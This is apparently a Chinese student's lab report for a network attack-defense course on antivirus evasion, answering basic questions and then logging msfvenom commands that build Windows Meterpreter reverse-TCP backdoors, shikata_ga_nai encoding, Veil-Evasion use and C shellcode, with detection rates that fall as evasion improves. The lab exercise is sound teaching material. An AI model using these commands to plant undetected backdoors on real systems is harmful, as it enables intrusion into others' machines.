20145333《网络对抗技术》免杀原理与实践

20145333《网络对抗技术》免杀原理与实践

1.基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测

恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。

  • 启发式恶意软件检测

  • 基于行为的恶意软件检测

如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码。

(2)免杀是做什么?

使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀。

(3)免杀的基本方法有哪些?

  • 改变特征码

对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码

  • 改变攻击行为

基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

2.实践总结与体会

通过实验我了解了杀毒软件查杀的原理,以及一般恶意代码是如何伪装的。发现即使安装了杀毒软件以及防火墙,还是不能完全的保证电脑是安全的。

3.离实战还缺些什么技术或步骤?

在现实中我们不会如此轻易地把后门程序放入靶机中,这就需要把这个后门程序伪装后绑定到一些正规的程序中来让后门程序进入靶机。然后是需要一个稳定的ip地址来监听靶机。

4.实践过程记录

msfvenom直接生成meterpreter可执行文件

  • Windows的IP地址为:192.168.1.105

  • Kali的IP地址为:1931.68.1.106

  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 PORT=5333 -f exe > test.exe命令生成meterpreter可执行文件test.exe

  • 使用ncat将文件传输到windows主机

  • 我们上http://www.virscan.org/这个网站检测一下有多少查毒软件可以将其查杀出来

  • 扫描结果:51%的杀软(20/39)报告发现病毒

Msfvenom使用编码器生成meterpreter可执行文件

  • 编码一次

  • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.1.106 PORT=5333 -f exe > test1.exe命令生成编码过的可执行文件test1.exe

  • 使用ncat将文件传输到windows主机

  • 再次检测:

  • 扫描结果:46%的杀软(18/39)报告发现病毒

  • 编码十次

  • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.106 PORT=5333 -f exe > test2.exe命令生成编码过的可执行文件test2.exe

  • 使用ncat将文件传输到windows主机

  • 再次检测:

  • 我们发现,一般的杀毒软件对于编码这种免杀方法都是有防御性的

使用Veil-Evasion生成可执行文件

  • 在Kali中打开veil-evasion:直接在输入veil-evasion

  • 然后在menu里面输入以下命令来生成可执行文件:

      use python/meterpreter/rev_tcp
    
      set LHOST 192.168.1.106
    
      generate
    
      5333test
    
      1
    

  • 检测结果如下:

  • 扫描结果:23%的杀软(9/39)报告发现病毒,效果显著提升。

使用C语言调用Shellcode

  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.65 LPORT=333 -f c命令生成一个C语言shellcode数组

  • 利用这个数组在Windows主机的vs平台下写shellcode,

  • 程序一生成就被360杀毒查杀了

在Kali下使用msf监听,运行刚刚编译生成的可执行文件,成功获取权限。

用360杀毒查杀不出来

  • 检测结果如下:

  • 扫描结果:12%的杀软(5/39)报告发现病毒。这就很少能查杀出来了。

posted on 2017-03-22 23:30  20145333茹翔  阅读(188)  评论(0编辑  收藏  举报

导航